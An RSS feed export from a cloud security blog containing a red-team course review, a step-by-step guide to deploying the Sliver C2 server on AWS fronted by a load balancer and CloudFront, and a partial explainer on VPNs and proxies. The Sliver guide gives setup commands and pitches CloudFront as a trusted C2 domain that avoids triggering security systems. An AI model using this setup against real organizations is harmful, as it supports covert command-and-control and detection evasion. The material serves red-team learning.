<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Security In Cloud]]></title><description><![CDATA[Security In Cloud]]></description><link>https://blog.securityin.cloud</link><generator>RSS for Node</generator><lastBuildDate>Wed, 13 May 2026 15:07:24 GMT</lastBuildDate><atom:link href="https://blog.securityin.cloud/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Multi-Cloud Red Team Analyst (MCRTA) Review]]></title><description><![CDATA[Disclaimer
At the time of writing this blog, I am employed by the CyberWarFare Labs (the creator of this course), however, the thoughts and experiences shared are my own and does not reflect those of my employer.
Overview
Although cloud has been here...]]></description><link>https://blog.securityin.cloud/mcrta-review</link><guid isPermaLink="true">https://blog.securityin.cloud/mcrta-review</guid><category><![CDATA[#cyberwarfare labs]]></category><category><![CDATA[#mcrta]]></category><category><![CDATA[#intro to multi-cloud red teaming]]></category><category><![CDATA[course review]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Wed, 06 Mar 2024 14:51:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1709734876029/02aa2e3e-0f0a-4565-b8f0-05bff3a5df58.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-disclaimer">Disclaimer</h1>
<p>At the time of writing this blog, I am employed by the <a target="_blank" href="https://cyberwarfare.live/">CyberWarFare Labs</a> (the creator of this course), however, the thoughts and experiences shared are my own and does not reflect those of my employer.</p>
<h1 id="heading-overview">Overview</h1>
<p>Although cloud has been here for a very long time, since the past decade or so, the usage of cloud services (SaaS. PaaS, IaaS, etc) has seen an exponential spike in terms of adoption by the MNCs as well as SMEs. This essentially means a lot of opportunities for individuals to dive into the world of cloud technologies and learn new skills. CyberWarFare Lab's latest course <a target="_blank" href="https://cyberwarfare.live/product/multi-cloud-red-team-analyst-mcrta/">Multi-Cloud Red Team Analyst [MCRTA]</a>, is created for such individuals who are interested in hacking &amp; securing the cloud services and ready to take the first step. Furthermore, no prior cloud knowledge is required for taking this course as TTPs (Tactics, Techniques, and Procedures) are taught from the very grounds up. That said, I would recommend some prior experience with command-line interfaces (Bash, Command Prompt, PowerShell) along with the zeal to learn.</p>
<h1 id="heading-course-architecture">Course Architecture</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709660945447/09fa5ac1-9b67-4034-982c-afb903dcb797.png" alt="MCRTA Architecture" class="image--center mx-auto" /></p>
<p>MCRTA features a multi-cloud lab setup which spans across three major Cloud Service Providers (CSPs), i.e, <a target="_blank" href="https://aws.amazon.com/">AWS</a>, <a target="_blank" href="https://portal.azure.com/">Azure</a>, and <a target="_blank" href="https://cloud.google.com/">GCP</a>. This journey starts from the external recon of a fictional organization with OSINT and ends with accessing sensitive information from inside the cloud infrastructure. The lab has fun challenges which are interesting to research and boost one’s knowledge.</p>
<h1 id="heading-course-highlights">Course Highlights</h1>
<h2 id="heading-introduction-to-multi-cloud-aws-azure-and-gcp-red-teaming">Introduction to Multi-Cloud (AWS, Azure, and GCP) Red Teaming</h2>
<ul>
<li><p>Multi-Cloud Architecture &amp; Authentication Mechanisms</p>
</li>
<li><p>Exploiting Multi-Cloud Mis-configurations</p>
</li>
<li><p>Red Team Ops in Multi-Cloud Environment</p>
</li>
</ul>
<h2 id="heading-red-teaming-in-aws">Red Teaming in AWS</h2>
<ul>
<li><p>AWS Core Services Enumeration</p>
</li>
<li><p>CLI Authentication &amp; Configuration</p>
</li>
<li><p>Abuse mis-configured EC2, S3 &amp; IAM ACLs</p>
</li>
<li><p>Exploit Vulnerable Apps hosted in Cloud</p>
</li>
<li><p>Practically perform Red Team Ops in AWS Cloud</p>
</li>
</ul>
<h2 id="heading-red-teaming-in-azure">Red Teaming in Azure</h2>
<ul>
<li><p>Understand Entra ID(aka Azure AD), O365, ARM</p>
</li>
<li><p>CLI &amp; Powershell based authentication</p>
</li>
<li><p>Exploit Vulnerable Apps hosted in Cloud</p>
</li>
<li><p>Abuse mis-configured Entra ID, VMs etc</p>
</li>
<li><p>Practically perform Red Team Ops in Azure Cloud</p>
</li>
</ul>
<h2 id="heading-red-teaming-in-gcp">Red Teaming in GCP</h2>
<ul>
<li><p>Understand Google Workspace &amp; GCP Architecture</p>
</li>
<li><p>CLI Authentication &amp; Configuration</p>
</li>
<li><p>Enumerate mis-configured GCP Storage, VMs etc</p>
</li>
<li><p>Exploit Vulnerable Apps hosted in Cloud</p>
</li>
<li><p>Practically perform Red Team Ops in GCP</p>
</li>
</ul>
<h1 id="heading-my-experience">My Experience</h1>
<p>MCRTA turned out to be top-notch with the content broken down in neat chunks. I really like how concepts are explained in a beginner-friendly manner with focus on practical usability. Before taking the course, I had some prior experience with cloud security (mostly defensive side) as a side effect of securing my own cloud infrastructure (homelab + personal projects). Having said that, the course proved to be an excellent intro to red teaming in the cloud environments and taught me cool new tricks which am pretty eager to replicate in my own environment. Similarly, the process for earning the associated certification has quite interesting challenges (OSINT + enumeration) spread across 3 CSPs (10 challenges each). I took a quick jab at some of the challenges and managed to accquire few flags (hoping to finish the remaining ones coming weekend) with some OSINT.</p>
<p>Apart from the course itself, another fun part for me was the research where I spent quite some time reading through the CSP documentations and blogs in order to better understand the internal workings of the cloud services. For people taking MCRTA/serious about learning cloud security, I strongly recommend going through the CSP documentations. While the documentations might seem like bit too much at first glance, having the knowledge and proper understanding will surely go a long way towards building solid skill-sets in the cloud security (be it offensive/defensive).</p>
<blockquote>
<p>That's it for this review, next I'll be sharing the review of a course sitting in my course backlog for almost 2 years.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Fun in the AWS with Sliver C2 Part-1]]></title><description><![CDATA[Specifications

EC2 instance --> t2.micro

OS --> Ubuntu 20.04LTS (Focal Fossa)

Go Version --> go1.20.1 linux/amd64

Sliver Version --> 1.5.34

Mingw Version --> 7.0.0-2


Preparation
My journey began with the launch of an Ubuntu 20.04LTS t2-micro (...]]></description><link>https://blog.securityin.cloud/fun-in-the-aws-with-sliver-c2-part-1</link><guid isPermaLink="true">https://blog.securityin.cloud/fun-in-the-aws-with-sliver-c2-part-1</guid><category><![CDATA[AWS]]></category><category><![CDATA[command and control]]></category><category><![CDATA[offensive adventures]]></category><category><![CDATA[adventures in the cloud]]></category><category><![CDATA[sliver c2]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Sun, 23 Apr 2023 12:22:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1681641028300/e3910d43-1385-4b6e-8264-4581a832ac46.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-specifications">Specifications</h1>
<ol>
<li><p>EC2 instance --&gt; t2.micro</p>
</li>
<li><p>OS --&gt; Ubuntu 20.04LTS (Focal Fossa)</p>
</li>
<li><p>Go Version --&gt; go1.20.1 linux/amd64</p>
</li>
<li><p>Sliver Version --&gt; 1.5.34</p>
</li>
<li><p>Mingw Version --&gt; 7.0.0-2</p>
</li>
</ol>
<h1 id="heading-preparation">Preparation</h1>
<p>My journey began with the launch of an Ubuntu 20.04LTS t2-micro (free tier) instance. I will recommend configuring the security group to only allow access from your own IP for better OpSec. After launching the instance, I did <code>sudo chmod 400 &lt;key.pem&gt;</code> to make it readable only to my user account and SSHed into the instance.</p>
<h2 id="heading-go-installation">Go Installation</h2>
<p>Since Go is not installed by default, I fetched the latest version from the <a target="_blank" href="http://go.dev">go.dev</a> website using the below command.</p>
<pre><code class="lang-bash">wget https://go.dev/dl/go1.20.1.linux-amd64.tar.gz
</code></pre>
<p>After that, the next step was to copy the archive to <code>/usr/local</code> and extract the contents.</p>
<pre><code class="lang-bash">sudo cp go1.20.1.linux-amd64.tar.gz /usr/<span class="hljs-built_in">local</span>/
<span class="hljs-built_in">cd</span> /usr/<span class="hljs-built_in">local</span>/ &amp;&amp; sudo tar -xzf go1.20.1.linux-amd64.tar.gz
</code></pre>
<p>After extracting the archive, the remaining portion was to add this directory to my path. For this, I added <code>export PATH=$PATH:/usr/local/go/bin</code> to my <code>~/.bashrc</code> file so it can persist between reboots.</p>
<h2 id="heading-mingw-installation">Mingw Installation</h2>
<p>To enable shellcode/staged/DLL payloads MinGW must be installed on the server. Since the majority of my testing is to be done on <code>Windows</code> systems, I installed it using the below command.</p>
<pre><code class="lang-bash">sudo apt install mingw-w64
</code></pre>
<h2 id="heading-metasploit-installation">Metasploit Installation</h2>
<p>Sliver authors also recommend installing Metasploit for some integrations, however, I skipped it for the time being.</p>
<h1 id="heading-sliver">Sliver</h1>
<h2 id="heading-installation">Installation</h2>
<p>Now that all that dependencies are installed it was time to download the <code>sliver</code> binaries.</p>
<pre><code class="lang-bash">wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux
wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux.sig
wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-client_linux
wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-client_linux.sig
</code></pre>
<p>And made the binaries executables.</p>
<pre><code class="lang-bash">sudo chmod 755 sliver-server_linux
sudo chmod 755 sliver-client_linux
</code></pre>
<p>Since this is mainly a research project, I decided to rename &amp; move these binaries to the <code>Home</code> directory for the sake of convenience and changed the file ownership.</p>
<pre><code class="lang-bash">sudo mv sliver-server_linux server
sudo mv sliver-client_linux client

mkdir ~/sliver

sudo chown ubuntu:ubuntu server
sudo chown ubuntu:ubuntu client

sudo mv client ~/sliver/
sudo mv server ~/sliver/
</code></pre>
<p>Next up the verification of these binaries was also necessary. Ideally, it should be done right after downloading binaries.</p>
<pre><code class="lang-bash">wget https://raw.githubusercontent.com/BishopFox/sliver/master/server/assets/fs/sliver.asc
gpg --import sliver.asc

gpg --verify sliver-client_linux.sig client 
gpg --verify sliver-server_linux.sig server
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589210375/2e7dbaaa-2965-49f1-b8cd-22809f024e3b.png" alt /></p>
<p>Then I thought why not make this as a systemd service so created a file ( <code>sliver.service</code> ) in my <code>home</code> directory with the following content. This is to ensure that the user <code>ubuntu</code> remains the file owner instead of <code>root</code>. However, the ownership can be easily changed by:</p>
<pre><code class="lang-bash">sudo chown <span class="hljs-variable">$USER</span>:<span class="hljs-variable">$USER</span> &lt;filename&gt;
</code></pre>
<p>Now here's the content for systemd file.</p>
<pre><code class="lang-bash">[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=ubuntu
ExecStart=/home/ubuntu/sliver/server daemon

[Install]
WantedBy=multi-user.target
</code></pre>
<p>And moved this file to <code>/etc/systemd/system</code> using <code>sudo chmod 600 sliver.service &amp;&amp; sudo mv sliver.service /etc/systemd/system/</code>. Then ran <code>sudo systemctl start sliver</code> and set it to start every reboot using <code>sudo systemctl enable sliver</code>. Now just to be sure that <code>sliver</code> is up and running, I pulled the status using <code>sudo systemctl status sliver</code> which gave the following output.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589234434/9c22cd3a-06d8-43c8-bae2-4d9a37ae1252.png" alt /></p>
<p>Now with <code>sliver</code> running, I wanted to check which port it was listening on. Since <code>netstat</code> was not included by default in my VPS, I installed it using <code>sudo apt install net-tools</code> and ran <code>sudo netstat -tlp | grep server</code> to discover it was listening on port 31337.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589237963/7624de83-09a3-4f15-ab06-036197edc14e.png" alt /></p>
<p>I also created two aliases <code>alias server='/home/ubuntu/sliver/server'</code> and <code>alias client='/home/ubuntu/sliver/client'</code> in a separate <code>~/.bash_aliases</code> file for ease of access.</p>
<h2 id="heading-first-run">First Run</h2>
<p>Now with everything set up, it was now time to run <code>sliver</code> server and check out the available options.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589270824/6c1104cd-9cb4-41c4-8fea-0393b582e735.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589278081/f53f3c2c-2ef2-403b-a072-575a52258359.png" alt /></p>
<p>Since every red team engagement requires operators, it was time to create one. Luckily <code>sliver</code> has some good inbuilt help features so I ran <code>new-operator --help</code> and was greeted with the following manual.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589280617/21f4809d-5d94-4017-ac50-b03211691468.png" alt /></p>
<p>So I created an operator named Ezio with <code>new-operator --name Ezio -l 127.0.0.1</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681637122671/538f10a6-a27c-4bbe-ace9-94118b5ef09f.png" alt class="image--center mx-auto" /></p>
<p>With <code>server</code> running in one terminal tab, I opened another one and SSHed into the server to run <code>client</code>. Do note that if you're using the same machine for both <code>server</code> and <code>client</code>, make sure to enable multiplayer mode by typing <code>multiplayer</code> in <code>server</code> terminal.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589414000/7c4a7b22-fc6d-4735-a5ce-81f6670040b8.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589419991/8a4bd41a-45e9-4699-95ed-977674f98daf.png" alt class="image--center mx-auto" /></p>
<p>With the C2 setup ready, it was now time to set up the proper infrastructure for receiving communications from the target.</p>
<h2 id="heading-elastic-load-balancer">Elastic Load Balancer</h2>
<p>The next step was to set up an Application Load Balancer and connect it to the instance running <code>sliver</code>.</p>
<p>In the EC2 Management Console, select Load Balancers, under the Load Balancing section and click on <code>Create Load Balancer</code> option.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589496517/2965ec49-9956-4dda-a2b2-d989339bc6d4.png" alt /></p>
<p>Then in the popup, select Application Load Balancer (ALB) as that is the perfect for this use case.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589502925/0feca4e5-a646-4054-97c5-b576b9bea695.png" alt /></p>
<p>After that, in the next few steps configure ALB and Target Group (instance to forward traffic to).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589507370/ff812edd-5df9-40ae-84bc-ba682ae222c4.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589512375/12bf8760-0862-41ac-8abe-1f368050653e.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589517187/a6ce3427-a0c1-4ab7-962c-09296e69db50.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589521644/e954dbe4-33b0-4f27-bba8-f96b84486cd9.png" alt /></p>
<p>In the new tab, configure the Target group while selecting <code>Instances</code> and give it a descriptive name.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589526564/10d70199-8e4c-4b73-8901-391ecc285b46.png" alt /></p>
<p>Then select the appropriate VPC and choose the HTTP version and click Next.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589532261/b123c2f6-fa48-4e49-b817-dbc926a719aa.png" alt /></p>
<p>Now select the instance running <code>sliver</code>, click on <code>Include as pending below</code> and click <code>Create target group</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589535503/24890c29-a636-4c9e-822e-dad0e17102b7.png" alt /></p>
<p>Now go back to ALB page, and select Target Group and click on <code>Create Load Balancer</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1681589541269/522282a9-a6de-4369-aad0-25645fc45d44.png" alt /></p>
<p>Now go back to <code>EC2 Management Console</code>, click on <code>Security Groups</code> option under <code>Network and Security</code> section, and select the security group attached to the instance running <code>sliver</code>. In that security group, click on <code>edit inbound rules</code> and add a new rule with <code>Type</code> as <code>Custom TCP</code>, <code>Port range</code> as <code>80</code>, and the security group ID of the newly created load balancer as <code>Source</code>.</p>
<h2 id="heading-cloudfront">CloudFront</h2>
<p>Now as a final step, CloudFront needs to be set up which is very easy. Select the ALB from the dropdown in <code>Origin domain</code>, set <code>protocol</code> to <code>HTTPS only</code>, in <code>Allowed HTTP methods</code> select the third option (GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE), choose <code>Caching Optimized</code> under <code>Cache policy</code>, and click on <code>Create Distribution</code> and copy <code>Distribution domain name</code> from next page. This <code>Distribution domain name</code> will now be our C2 domain which we can use since Cloudfront is being trusted in many organizations without the risk of triggering some security systems. Now there are some interesting configurations in CloudFront like adding a custom header to client requests and sending logs to s3 buckets among others which I plan to dig into later.</p>
<p>So with the CloudFront done, we can now go back to <code>sliver</code> and continue the testing by generating implants/beacons and having fun with a sophisticated C2 setup in the public cloud.</p>
<blockquote>
<p>That's it for this blog, I'll be back with Part-2 soon. Feel free to drop your suggestions below.</p>
</blockquote>
<h3 id="heading-resources">Resources</h3>
<ol>
<li><p><a target="_blank" href="https://github.com/BishopFox/sliver">https://github.com/BishopFox/sliver</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/BishopFox/sliver/wiki/Community-Guides">https://github.com/BishopFox/sliver/wiki/Community-Guides</a></p>
</li>
<li><p><a target="_blank" href="https://redsiege.com/blog/2022/11/introduction-to-sliver/">https://redsiege.com/blog/2022/11/introduction-to-sliver/</a></p>
</li>
<li><p><a target="_blank" href="https://www.cyberwarfare.live/resource_redirect/downloads/file-uploads/sites/2147491645/themes/2150116878/downloads/bc021a0-8ebc-d601-83e7-5e0d440c750_Cloud_Red_Team_Journey.pdf">https://www.cyberwarfare.live/resource_redirect/downloads/file-uploads/sites/2147491645/themes/2150116878/downloads/bc021a0-8ebc-d601-83e7-5e0d440c750_Cloud_Red_Team_Journey.pd</a>f</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Deep dive into VPN & Proxies: How to stay safe online]]></title><description><![CDATA[In my last post, I wrote about DNS, VPN & Proxies, while that was focused on simple explanations this one is gonna be more comprehensive & technical.
As usual, you are requested to do your due diligence before using any service providers. I won’t tal...]]></description><link>https://blog.securityin.cloud/deep-dive-into-vpn-proxies-how-to-stay-safe-online</link><guid isPermaLink="true">https://blog.securityin.cloud/deep-dive-into-vpn-proxies-how-to-stay-safe-online</guid><category><![CDATA[vpn]]></category><category><![CDATA[proxy]]></category><category><![CDATA[tor]]></category><category><![CDATA[Internet Privacy]]></category><category><![CDATA[ Online Anonymity]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Fri, 16 Sep 2022 11:54:54 GMT</pubDate><content:encoded><![CDATA[<p>In my last post, I wrote about DNS, VPN &amp; Proxies, while that was focused on simple explanations this one is gonna be more comprehensive &amp; technical.</p>
<p>As usual, you are requested to do your due diligence before using any service providers. I won’t talk much about DNS, so please visit my last post <a target="_blank" href="https://securityin.cloud/dns-vpn-proxies-in-layman-terms">DNS, VPN &amp; Proxies in layman terms</a> to see its breakdown.</p>
<p>So starting off, I first want to clarify three terms i.e, Privacy, Security &amp; Anonymity.</p>
<p><strong>Privacy</strong>- Privacy is a concept where people can only see what you want them to see. For e.g- Maybe you don’t want everyone to know where you live, the same could apply to your phone numbers, DOB, etc.</p>
<p><strong>Security</strong>- Security is the implementation of certain practices which helps stay safe. For e.g- You use locks to keep your homes safe, the same could apply to using passwords to secure online accounts.</p>
<p><strong>Anonymity</strong>- Anonymity is the concept where your online is private online &amp; cannot be deduced easily. For e.g- A journalist would want to keep their identity safe in order to avoid getting tracked by criminal organizations.</p>
<blockquote>
<p>Sad to say, most people don’t even know the differences let alone practice them to full avail. It is also worth mentioning privacy &amp; anonymity are often used interchangeably however they both differ in more ways than one.</p>
<p><strong>Towards the end of this article, I’ll share some techniques to protect your online identity. You are requested to read that portion thoroughly in order to reap maximum benefits.</strong></p>
</blockquote>
<h1 id="heading-vpn-virtual-private-network"><strong>VPN (Virtual Private Network)</strong></h1>
<p>VPN or Virtual Private Network is a special technology that creates a private tunnel between a client &amp; Internet by routing traffic through a private network. This essentially enhances the privacy &amp; security of traffic while also shielding it from the prying eyes of any MiTM (Man in The Middle).</p>
<p><strong>To better understand the workings of VPN, let’s first see what actually happens behind the scenes without it:-</strong></p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*KVopbIe_VIGl0KghlZsMsQ.jpeg" alt /></p>
<p><strong>Fig: Client → ISP → Internet → Different Servers</strong></p>
<ol>
<li><p>The client opens the browser &amp; types a domain name.</p>
</li>
<li><p>A DNS request is sent to ISP over UDP (port 53) to fetch the corresponding IP address.</p>
</li>
<li><p>ISP sends back the IP after receiving it from the authoritative nameserver.</p>
</li>
<li><p>The browser sends a connection request to that IP using the selected protocol i.e, HTTP/HTTPS. This request travels over the ISP network.</p>
</li>
<li><p>The website sends back a reply which also travels over the ISP network.</p>
</li>
</ol>
<p><strong>Few important points,</strong></p>
<p>i. ISP can see all searches made using DNS &amp; even see HTTP traffic unless it’s encrypted.</p>
<p>ii. In the case of HTTPS even if they can’t figure out the exact transaction, ISPs can pretty much put it together using co-relation analysis.</p>
<p>iii. Websites will see the IP allocated by ISP which will be unique to a single device at a given time. With just a few search queries, the location of the user can be figured out easily.</p>
<p>iv. The same applied to data transfer by mobile apps &amp; underlying OSs. So if you use an app that doesn’t implement HTTPS, your data is pretty much visible to ISP. Simply put this is a privacy nightmare.</p>
<p>v. This could mean ISP can use this data to track you across the Internet, build your profile, show you ads or even sell your data.</p>
<p>vi. Now replace ISP with a malicious MiTM (Man in The Middle), depending on their access level they could do identity theft, perform social engineering, infect your system with malware &amp; or even worse frame you for crimes they commit.</p>
<p>vii. In case you live in a restrictive regime, your government could impose censorship on selective content (websites, social media platforms, and search engines, to name a few). Now since your ISP has to follow government orders, you won’t be able to see these sites without either VPN or a Proxy.</p>
<p><strong>Now let’s see how &amp; where VPN comes into play:-</strong></p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*Fh1TrRAVgeWP-PsF2pQm-w.png" alt /></p>
<p><strong>Fig: Client → ISP → VPN Server → Internet → Different Servers</strong></p>
<ol>
<li><p>The client installs a VPN software, selects a protocol (<em>more on this below</em>) &amp; clicks connect.</p>
</li>
<li><p>The client’s request travels to the VPN provider’s private network over the ISP network. There VPN provider performs key exchange &amp; allocates an IP to the client.</p>
</li>
<li><p>Now the connection between the client &amp; VPN provider is encrypted and it will appear as garbage to any onlooker. The client can now search privately without the worry of ISP or malicious actors snooping on the connection.</p>
</li>
<li><p>The client opens the browser &amp; searches for a website.</p>
</li>
<li><p>DNS request is processed by the VPN provider (unless different DNS servers are configured at OS/network level).</p>
</li>
<li><p>The rest process is the same as ISP with the exception of the private tunnel.</p>
</li>
</ol>
<p><strong>Few important points,</strong></p>
<p>i. Connection is only encrypted between the client &amp; VPN provider by default. If you visit an insecure website (non-HTTPS), your traffic between VPN &amp; website is up for grabs.</p>
<p>ii. VPN provider essentially becomes your new ISP, unless they are trusted they pose the same threats.</p>
<p>iii. A single VPN IP is allocated to multiple clients instead of an isolated IP in the case of ISP. It makes it harder to pinpoint the actual location of a user. This also makes it easier to browse the internet over public networks without revealing unnecessary data.</p>
<p>iv. VPN at its core provides privacy &amp; security however achieving anonymity using only VPN is a false claim. Using TOR in conjunction with VPN (<em>more about this in a later section below</em>) is a good practice to achieve this.</p>
<p>v. Services like <em>WebRTC</em> &amp; <em>WebGL</em> could reveal the original IP address even over a VPN. Disabling such services enhances privacy.</p>
<p>vi. VPN cannot protect you from browser fingerprinting which could be utilized to identify an user across the internet. There are also techniques like traffic analysis, search pattern recognition, and behavior analysis among others which could reveal the identity of an user. <strong>This is why I said earlier that any VPN which claims you will be anonymous is making misleading claims.</strong></p>
<p>vii. Since VPN traffic can be co-related I’ll recommend changing your servers every once in a while according to your use case. As VPN IPs act like static ones, if you keep using one it will make it easier to pinpoint you among others users having the same IP due to browsing &amp; connection patterns. One more thing to mention is device time can also be used to track someone across the internet. Now I won’t go into much specifics however this is something to keep in mind while surfing the internet.</p>
<p>As we already know that VPN creates a private tunnel between the client &amp; server, let’s see how this is implemented. VPNs use specialized tunneling protocols which help them create this private &amp; secure tunnel. This is also worth mentioning that a VPN connection is only as strong as the protocol it uses.</p>
<p>Each protocol is usually divided into 2 components i.e,</p>
<p><strong>(i) Control channel</strong> which looks after the key exchange, IP, DNS, &amp; routes assigning, and authenticating client to VPN server.</p>
<p><strong>(ii) Data channel</strong> which transports the actual encapsulated data from client to server &amp; vice versa.</p>
<p>Working in absolute harmony these channels play an important role in keeping communication secure.</p>
<p>Now that we know the basics of protocols, let’s discuss some of the most common ones in use. There are 5 widely popular protocols namely, PPTP, L2TP, IKEv2, OpenVPN &amp; WireGuard. Please note that some protocols use either TCP or UDP. Only OpenVPN is known to use both.</p>
<p>Recently I came to know that <a target="_blank" href="https://protonvpn.com/"><strong>ProtonVPN</strong></a> is also working on developing a new protocol that will be more effective in bypassing firewalls &amp; evading censorship.</p>
<p>Now let’s find out more about these protocols:-</p>
<ol>
<li><p><strong>PPTP</strong>- PPTP or Point-to-Point Tunneling Protocol uses Enhanced GRE (General Routing Encapsulation) to establish a connection over TCP port 1723. Originally introduced in 1999 it is an enhanced implementation of PPP (Point-to-Point Protocol). I want to point out that PPTP doesn’t do any encryption by itself &amp; relies on PPP to do so. Now please beware that PPP uses the RC4 algorithm (up to 128 bits) which is known to have several vulnerabilities. <strong>For the love of your data please don’t ever use this protocol.</strong></p>
</li>
<li><p><strong>L2TP</strong>- L2TP or Layer 2 Tunneling Protocol uses IPSec (Internet Protocol Security) along with UDP ports 500, 5500 &amp; 1701 to function. Designed as a replacement for PPTP, it used the AES algorithm to enforce the encryption. As we discussed channels earlier, the control part is handled by IPSec while the data part is handled by L2TP. <strong>Please note that according to some leaked reports, NSA had allegedly broken L2TP back in 2016 so it’s wise to look into more secure ones.</strong></p>
</li>
<li><p><strong>IKEv2</strong>- IKEv2 or Internet Key Exchange version 2 also uses IPSec with UDP ports 500 &amp; 4500 in order to function. While L2TP implemented IPSec, IKEv2 is practically built on top of it. It uses a unique feature known s security associations while leveraging the strength of up to 256 bits with encryption algorithms like AES, Blowfish, ChaCha20, and Camellia. Please note this is a fast &amp; secure protocol compared to the previous two and is widely used in the industry.</p>
</li>
<li><p><strong>OpenVPN</strong>- OpenVPN is likely the most used VPN protocol in the world with robust security features. It uses SSL/TLS in place of IPSec &amp; offers services over both UDP &amp; TCP which makes it suitable for multiple use cases. It also leverages the power of hardware acceleration something which most VPN protocols tend not to use. One of the most liked things about it is that it uses the OpenSSL library &amp; FPS (Perfect Forward Secrecy) to provide the best possible connection security. One downside of this security mechanism is that OpenVPN requires high computing power in order to deliver. <strong>Now do keep in mind that while UDP mode provides fast speeds it cannot bypass censorship due to its very nature, this is where TCP mode comes into play.</strong></p>
</li>
<li><p><strong>WireGuard</strong>- The latest addition to the protocol family, WireGuard is the fastest VPN protocol to date. By using UDP ports it relies on algorithms like ChaCha20, Curve25519, Poly1305, and BLKE2s in order to offer lightning-fast speeds which are second to none. However due to the fact that UDP is used censorship bypass is still not possible at the moment. Do note that while WireGuard doesn’t offer robust security like OpenVPN, it still packs a punch. With proper configurations, it offers the fastest connection speeds with reasonable security controls.</p>
</li>
</ol>
<p>Now that we know about VPN, let’s dive into Proxies next.</p>
<h1 id="heading-proxy"><strong>Proxy</strong></h1>
<p>Proxy is a special type of server that acts as an intermediary between a client &amp; outside networks (like the internet). It listens for a request and then either forwards it or drops it as per configurations. Please note that while Proxies work in a similar manner as VPNs, they have different use cases.</p>
<p>Proxy servers operate on two implementation levels as follows:-</p>
<p><strong>I. Forward Proxy ( when implemented on the client side)</strong></p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*StmyatL5S7I9zVIDrkBvEQ.jpeg" alt /></p>
<p><strong>Fig: Client → Forward Proxy Server → ISP → Internet → Different Servers</strong></p>
<ol>
<li><p>The client gets the IP of a forward proxy server &amp; <strong>configures their system</strong> to use it while browsing.</p>
</li>
<li><p>The client opens the browser &amp; searches for “<a target="_blank" href="http://medium.com"><em>medium.com</em></a>”.</p>
</li>
<li><p>This query goes to the forward proxy server who <strong>makes the request</strong> on client’s behalf.</p>
</li>
<li><p>Once “<a target="_blank" href="http://medium.com"><em>medium.com</em></a>” sends a response to the forward proxy server, it then <strong>forwards it back</strong> to the client. It is a pretty effective method since in an ideal scenario website won’t know who actually requested the resources.</p>
</li>
</ol>
<p><strong>II.</strong> <strong>Reverse Proxy (when implemented on the server side)</strong></p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*yi3-F0lA2OUiqnyKOGMNMg.jpeg" alt /></p>
<p><strong>Fig: Client → ISP → Internet → Reverse Proxy Server → Different Servers</strong></p>
<ol>
<li><p>The client opens the browser &amp; searches for “<a target="_blank" href="http://medium.com"><em>medium.com</em></a>”.</p>
</li>
<li><p>This query travels to the internet over ISP’s network.</p>
</li>
<li><p>The Reverse Proxy server receives the requests &amp; checks the configurations for taking action. If action is allowed, this request is sent to the respective server for processing.</p>
</li>
<li><p>Once the web server has processed the request it is sent back to the reverse proxy server who then forwards to the client via the internet. This technique of putting reverse proxy servers helps defend actual servers from malicious attacks like DoS/DDoS.</p>
</li>
</ol>
<p><strong>Now few important points,</strong></p>
<p>i. Proxy servers in most cases don’t encrypt traffic by default. In the cases where they do more often than not, it's HTTPS. Make sure to check these things before using any proxy server. This is where VPNs shine with their unique encryption algorithms.</p>
<p>ii. Proxy servers can store browsing logs and use them as per the owner’s policies. It’s always worth paying for a good proxy service than using free ones.</p>
